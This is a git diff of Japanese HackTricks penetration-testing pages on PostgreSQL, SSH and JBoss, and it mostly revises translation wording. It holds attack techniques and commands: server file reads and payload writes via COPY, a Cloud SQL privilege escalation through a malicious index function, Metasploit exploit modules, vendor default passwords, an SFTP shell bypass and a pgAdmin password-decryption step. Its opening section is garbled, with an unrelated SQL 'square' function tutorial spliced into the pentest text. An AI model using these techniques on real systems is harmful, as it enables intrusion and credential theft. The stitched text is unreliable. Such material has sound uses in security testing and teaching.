||||
During the penetration testing process, it is common to look for functions that may be vulnerable to SQL injection attacks, buffer overflows, or other types of code execution vulnerabilities. By exploiting these vulnerabilities, an attacker may be able to gain unauthorized access to the database, extract sensitive information, or perform other malicious actions.
|
||||
|
||||
In this example, the function name is `square`, and it accepts an input parameter `num` of type `INTEGER`. The function returns an `INTEGER` value, which is the square of the input number.
|
||||
To identify and analyze the functions in a PostgreSQL database, a penetration tester can use various techniques and tools. These may include manual inspection of the database schema, analyzing the source code of the application that interacts with the database, or using automated scanning tools that can identify potential vulnerabilities.
|
||||
|
||||
Once the function is created, you can call it in SQL queries like any other built-in function:
|
||||
Once the functions have been identified, a penetration tester can further analyze their behavior and functionality. This may involve analyzing the input and output parameters of the functions, testing for potential security vulnerabilities, or analyzing the underlying code to identify any potential weaknesses.
|
||||
|
||||
```sql
|
||||
SELECT square(5);
|
||||
```
|
||||
|
||||
This will return the value `25`, which is the square of `5`.
|
||||
|
||||
Functions in PostgreSQL are powerful tools that can greatly enhance the functionality and flexibility of your database applications. By leveraging the built-in functions and creating your own custom functions, you can perform complex calculations and operations with ease.
|
||||
By thoroughly analyzing the functions in a PostgreSQL database, a penetration tester can gain a deeper understanding of the database's security posture and identify potential vulnerabilities that could be exploited by an attacker. This knowledge can then be used to develop appropriate mitigation strategies and strengthen the overall security of the database.
|
||||
```sql
|
||||
# Interesting functions are inside pg_catalog
|
||||
\df * #Get all
|
||||
|
@ -340,7 +434,7 @@ SELECT * FROM pg_proc;
|
|||
|
||||
### ディレクトリとファイルの読み取り
|
||||
|
||||
この[**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)では、**`DEFAULT_ROLE_READ_SERVER_FILES`**グループ(**`pg_read_server_files`**と呼ばれる)のメンバーと**スーパーユーザー**は、任意のパスで**`COPY`**メソッドを使用できます(`genfile.c`の`convert_and_check_filename`をチェックしてください)。
|
||||
この[**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)から、**`DEFAULT_ROLE_READ_SERVER_FILES`**グループ(**`pg_read_server_files`**と呼ばれる)のメンバーと**スーパーユーザー**は、任意のパスで**`COPY`**メソッドを使用することができます(`genfile.c`の`convert_and_check_filename`をチェックしてください)。
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
|
@ -392,7 +486,7 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
覚えておいてください。スーパーユーザーではない場合でも、**`CREATEROLE`** 権限を持っている場合は、**自分自身をそのグループのメンバーにすることができます:**
|
||||
覚えておいてください。スーパーユーザーではない場合でも、**`CREATEROLE`** 権限を持っている場合は、**そのグループのメンバーになることができます:**
|
||||
```sql
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
|
@ -553,7 +647,7 @@ host all all ::1/128 trust
|
|||
|
||||
通常、別のユーザーをテーブルの所有者にすることはエラーが発生するはずですが、どうやらGCPでは非スーパーユーザーのpostgresユーザーにそのオプションが与えられていました。
|
||||
|
||||
この考えを結びつけると、インデックス関数を持つテーブルに対してINSERT/UPDATE/ANALYZEコマンドが実行されると、その関数はコマンドの一部としてテーブルの所有者の権限で呼び出されることがわかります。したがって、関数を使用してインデックスを作成し、そのテーブルに対して所有者の特権を与え、その後、悪意のある関数を使用してテーブル上でANALYZEを実行することが可能です。この場合、関数は所有者の特権を使用してコマンドを実行することができます。
|
||||
この考えを、インデックス関数を持つテーブルに対してINSERT/UPDATE/ANALYZEコマンドが実行されると、その関数がコマンドの一部として所有者の権限で呼び出されるという事実と結びつけると、テーブルに対して関数を持つインデックスを作成し、そのテーブルに対して所有者の特権を持つスーパーユーザーに与え、その後、悪意のある関数を使用してテーブル上でANALYZEを実行することが可能です。この悪意のある関数は所有者の特権を使用してコマンドを実行することができます。
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
|
@ -564,7 +658,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
1. 新しいテーブルを作成します。
|
||||
2. テーブルにいくつかのダミーコンテンツを挿入し、インデックス関数が処理するものを用意します。
|
||||
3. テーブルに悪意のあるインデックス関数(コード実行ペイロードを含む)を作成します。
|
||||
4. テーブルの所有者を cloudsqladmin に変更します。これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを維持および管理するためにのみ使用されます。
|
||||
4. テーブルの所有者を cloudsqladmin に変更します。これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを維持および管理するために使用されます。
|
||||
5. テーブルをANALYZEし、PostgreSQLエンジンがユーザーコンテキストをテーブルの所有者(cloudsqladmin)に切り替え、cloudsqladminの権限で悪意のあるインデックス関数を呼び出すことで、以前に実行する権限がなかったシェルコマンドを実行します。
|
||||
|
||||
PostgreSQLでは、このフローは次のようになります:
|
||||
|
@ -594,7 +688,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
|||
```
|
||||
### ローカルログイン
|
||||
|
||||
一部の設定ミスのあるPostgreSQLインスタンスでは、任意のローカルユーザーのログインが許可される場合があります。**`dblink`関数**を使用して、127.0.0.1からローカルログインすることができます。
|
||||
一部の設定ミスのあるPostgreSQLインスタンスでは、任意のローカルユーザーのログインが許可される場合があります。**`dblink`関数**を使用して、127.0.0.1からローカルログインすることが可能です。
|
||||
```sql
|
||||
\du * # Get Users
|
||||
\l # Get databases
|
||||
|
@ -679,7 +773,7 @@ msf> use exploit/windows/postgres/postgres_payload
|
|||
```
|
||||
### ロギング
|
||||
|
||||
_**postgresql.conf**_ ファイルの中で、以下の設定を変更することで、PostgreSQL のログを有効にすることができます。
|
||||
_**postgresql.conf**_ ファイルの中で、以下の設定を変更することで、PostgreSQLのログを有効にすることができます。
|
||||
```bash
|
||||
log_statement = 'all'
|
||||
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
||||
|
@ -694,7 +788,7 @@ sudo service postgresql restart
|
|||
|
||||
[pgadmin](https://www.pgadmin.org)は、PostgreSQLの管理および開発プラットフォームです。\
|
||||
_**pgadmin4.db**_ファイルの中には**パスワード**が含まれています。\
|
||||
[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)のスクリプト内の_decrypt_関数を使用して、それらを復号化することができます。
|
||||
スクリプト内の_decrypt_関数を使用して、それらを復号化することができます:[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
```bash
|
||||
sqlite3 pgadmin4.db ".schema"
|
||||
sqlite3 pgadmin4.db "select * from user;"
|
||||
|
|
|
@ -4,23 +4,23 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし、**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
**SSHまたはSecure ShellまたはSecure Socket Shell**は、ユーザーが**安全でないネットワークを介してコンピュータに安全にアクセスするためのネットワークプロトコル**です。
|
||||
**SSHまたはSecure ShellまたはSecure Socket Shell**は、ユーザーが**セキュリティのないネットワークを介してコンピュータに安全にアクセスするためのネットワークプロトコル**です。
|
||||
|
||||
**デフォルトポート:** 22
|
||||
```
|
||||
|
@ -57,7 +57,7 @@ ssh-auditは、sshサーバーおよびクライアントの設定監査のた
|
|||
* SSH1およびSSH2プロトコルサーバーサポート
|
||||
* SSHクライアントの設定を分析
|
||||
* バナーを取得し、デバイスまたはソフトウェアとオペレーティングシステムを認識し、圧縮を検出
|
||||
* キーエクスチェンジ、ホストキー、暗号化、メッセージ認証コードのアルゴリズムを収集
|
||||
* キーエクスチェンジ、ホストキー、暗号化、メッセージ認証コードアルゴリズムを収集
|
||||
* アルゴリズム情報を出力(利用可能な期間、削除/無効化、安全でない/弱い/レガシーなど)
|
||||
* アルゴリズムの推奨事項を出力(認識されたソフトウェアバージョンに基づいて追加または削除)
|
||||
* セキュリティ情報を出力(関連する問題、割り当てられたCVEリストなど)
|
||||
|
@ -137,9 +137,9 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
#### 弱いSSH鍵/Debianの予測可能なPRNG
|
||||
|
||||
一部のシステムでは、暗号資材を生成するために使用されるランダムシードに既知の欠陥があります。これにより、ブルートフォース攻撃が可能な鍵スペースが劇的に減少する場合があります。弱いPRNGによって影響を受けたDebianシステムで生成された事前生成された鍵セットは、ここで入手できます:[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
|
||||
一部のシステムでは、暗号資材を生成するために使用されるランダムシードに既知の欠陥があります。これにより、ブルートフォース攻撃が可能な鍵スペースが劇的に減少する場合があります。弱いPRNGによって影響を受けたDebianシステムで生成された事前生成されたキーのセットは、こちらで入手できます:[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
|
||||
|
||||
被害者のマシンの有効な鍵を検索するために、ここを調べるべきです。
|
||||
被害者のマシンの有効なキーを検索するために、ここを調べるべきです。
|
||||
|
||||
### Kerberos
|
||||
|
||||
|
@ -147,22 +147,22 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
## デフォルトの資格情報
|
||||
|
||||
| **ベンダー** | **ユーザー名** | **パスワード** |
|
||||
| ------------ | ---------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
| **ベンダー** | **ユーザー名** | **パスワード** |
|
||||
| ------------ | --------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
|
@ -178,7 +178,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
実際のMitMをキャプチャするために、ARPスプーフィング、DNSスプーフィングなどの技術を使用することができます。詳細については、[**ネットワークスプーフィング攻撃**](../generic-methodologies-and-resources/pentesting-network/#spoofing)で説明されています。
|
||||
|
||||
## 設定の誤構成
|
||||
## 設定のミスコンフィギュレーション
|
||||
|
||||
### rootログイン
|
||||
|
||||
|
@ -193,7 +193,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
### SFTPコマンドの実行
|
||||
|
||||
もう1つの一般的なSSHの誤構成は、SFTPの設定でよく見られます。ほとんどの場合、SFTPサーバーを作成する際に、管理者はユーザーがファイルを共有するためのSFTPアクセスを持つことを望んでいますが、マシン上でリモートシェルを取得することは望んでいません。そのため、ユーザーにプレースホルダーシェル(`/usr/bin/nologin`や`/usr/bin/false`など)を割り当て、彼をジェイルにチュートリングするだけで、シェルアクセスや全体のファイルシステムへの乱用を防ぐのに十分だと考えています。しかし、彼らは間違っています。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証後すぐにコマンドを実行するように要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルをバイパスするには、単に事前にコマンド(例:`/bin/bash`)を実行するように要求するだけです。
|
||||
もう1つの一般的なSSHのミスコンフィギュレーションは、SFTPの設定でよく見られます。ほとんどの場合、SFTPサーバーを作成する際に、管理者はユーザーがファイルを共有するためにSFTPアクセスを持つことを望んでいますが、マシン全体でのリモートシェルアクセスを避けるために、ユーザーにプレースホルダーシェル(例:`/usr/bin/nologin`または`/usr/bin/false`)を割り当て、彼らをジェイルにチュートリングするだけで十分だと考えています。しかし、彼らは間違っています。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証後にコマンドを実行するように要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルをバイパスするには、単に事前にコマンド(例:`/bin/bash`)を実行するように要求するだけです。
|
||||
```
|
||||
$ ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
|
@ -219,7 +219,7 @@ $ ssh noraj@192.168.1.94 /bin/bash
|
|||
以下は、ユーザー`noraj`のセキュアなSFTP設定の例です(`/etc/ssh/sshd_config` - openSSH):
|
||||
|
||||
```plaintext
|
||||
# SFTP configuration for noraj
|
||||
# SFTP Configuration for noraj
|
||||
Subsystem sftp internal-sftp
|
||||
|
||||
Match User noraj
|
||||
|
@ -238,7 +238,7 @@ Match User noraj
|
|||
UsePAM yes
|
||||
```
|
||||
|
||||
この設定では、ユーザー`noraj`に対してSFTPのみを許可し、その他のSSH機能を制限しています。ユーザーは自分のホームディレクトリ`/home/noraj`内でのみ操作できます。パスワード認証が有効になっており、TCPフォワーディングやX11フォワーディングなどの機能は無効化されています。また、クライアントとの接続が一定時間無効になるように設定されています。
|
||||
この設定では、ユーザー`noraj`に対してSFTPのみを許可し、その他のSSH機能を制限しています。ユーザーは自分のホームディレクトリ`/home/noraj`内でのみ操作できます。パスワード認証が有効になっており、TCPフォワーディングやX11フォワーディングなどの機能は無効化されています。また、セッションのタイムアウトも設定されています。
|
||||
```
|
||||
Match User noraj
|
||||
ChrootDirectory %h
|
||||
|
@ -258,9 +258,9 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
|
|||
```
|
||||
### SFTPシンボリックリンク
|
||||
|
||||
**sftp**には**symlink**というコマンドがあります。そのため、あるフォルダに**書き込み権限**がある場合、**他のフォルダ/ファイル**の**シンボリックリンク**を作成することができます。おそらく、chroot内に**閉じ込められている**ため、これはあなたにとって**特に有用ではありません**が、作成した**シンボリックリンク**に**no-chrootサービス**(たとえば、ウェブからシンボリックリンクにアクセスできる場合)から**アクセス**できる場合、**ウェブを介してシンボリックリンクされたファイルを開く**ことができます。
|
||||
**sftp**には「**symlink**」というコマンドがあります。そのため、あるフォルダに**書き込み権限**がある場合、**他のフォルダ/ファイル**の**シンボリックリンク**を作成することができます。おそらく、chroot内に**閉じ込められている**ため、これは特に役に立たないかもしれませんが、作成した**シンボリックリンク**に**no-chrootサービス**(たとえば、ウェブからシンボリックリンクにアクセスできる場合)から**アクセス**できる場合、**ウェブを介してシンボリックリンクされたファイルを開く**ことができます。
|
||||
|
||||
例えば、新しいファイル**「froot」**から**「/」**への**シンボリックリンク**を作成するには、以下のようにします:
|
||||
たとえば、新しいファイル「**_froot_**」から「**_/**_」への**シンボリックリンク**を作成するには、以下のようにします:
|
||||
```
|
||||
sftp> symlink / froot
|
||||
```
|
||||
|
@ -281,7 +281,9 @@ $ ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
|||
...
|
||||
debug1: Next authentication method: password
|
||||
```
|
||||
SSHサーバーの設定を確認することは、予期されるメソッドのみが承認されているかどうかを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。
|
||||
### 設定ファイルの確認
|
||||
|
||||
SSHサーバーの設定を確認することは、予期されたメソッドのみが認可されているかどうかを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。
|
||||
|
||||
### 設定ファイル
|
||||
```
|
||||
|
@ -292,24 +294,6 @@ ssh_known_hosts
|
|||
known_hosts
|
||||
id_rsa
|
||||
```
|
||||
## Fuzzing
|
||||
|
||||
* [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
* [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2)
|
||||
|
||||
## References
|
||||
|
||||
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
## ファジング
|
||||
|
||||
* [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
|
@ -317,12 +301,12 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## 参考文献
|
||||
|
||||
* [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html) でSSHの強化ガイドを見つけることができます。
|
||||
* [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)には、SSHを強化するための興味深いガイドがあります。
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし興味があるなら、**ハッキングのキャリア**を追求し、**私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたいのであれば - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -351,7 +335,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -20,14 +20,14 @@
|
|||
|
||||
## 列挙
|
||||
|
||||
_/web-console/ServerInfo.jsp_と_/status?full=true_のウェブページは、しばしば**サーバーの詳細**を明らかにします。
|
||||
_/web-console/ServerInfo.jsp_ と _/status?full=true_ のウェブページは、しばしば**サーバーの詳細**を明らかにします。
|
||||
|
||||
JBoss内で**管理サーブレット**を公開することができます。バージョンによって以下のパスがあります:_/admin-console_、_/jmx-console_、_/management_、_/web-console_。デフォルトの資格情報は**admin**/**admin**です。アクセス権を取得した後、公開されたMBeanとのやり取りに使用できる利用可能なInvokerサーブレットを使用できます:
|
||||
JBoss内で**管理サーブレット**を公開することができます。バージョンによって以下のパスがあります:_/admin-console_, _/jmx-console_, _/management_, _/web-console_。デフォルトの資格情報は**admin**/**admin**です。アクセス権を取得した後、公開されたMBeanとのやり取りに使用できる利用可能なInvokerサーブレットを使用できます:
|
||||
|
||||
* /web-console/Invoker(JBossバージョン6と7)
|
||||
* /invoker/JMXInvokerServletと/invoker/EJBInvokerServlet(JBoss 5以前)
|
||||
* /invoker/JMXInvokerServlet と /invoker/EJBInvokerServlet(JBoss 5以前)
|
||||
|
||||
**[clusterd](https://github.com/hatRiot/clusterd)を使用してJBOSSサービスを列挙し、さらには悪用することができます。**
|
||||
**[clusterd](https://github.com/hatRiot/clusterd)を使用してJBOSSサービスを列挙し、さらには悪用することができます。**\
|
||||
**または、metasploitを使用する:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
|
||||
|
||||
### 悪用
|
||||
|
@ -38,7 +38,7 @@ JBoss内で**管理サーブレット**を公開することができます。
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -49,7 +49,7 @@ inurl:status EJInvokerServlet
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
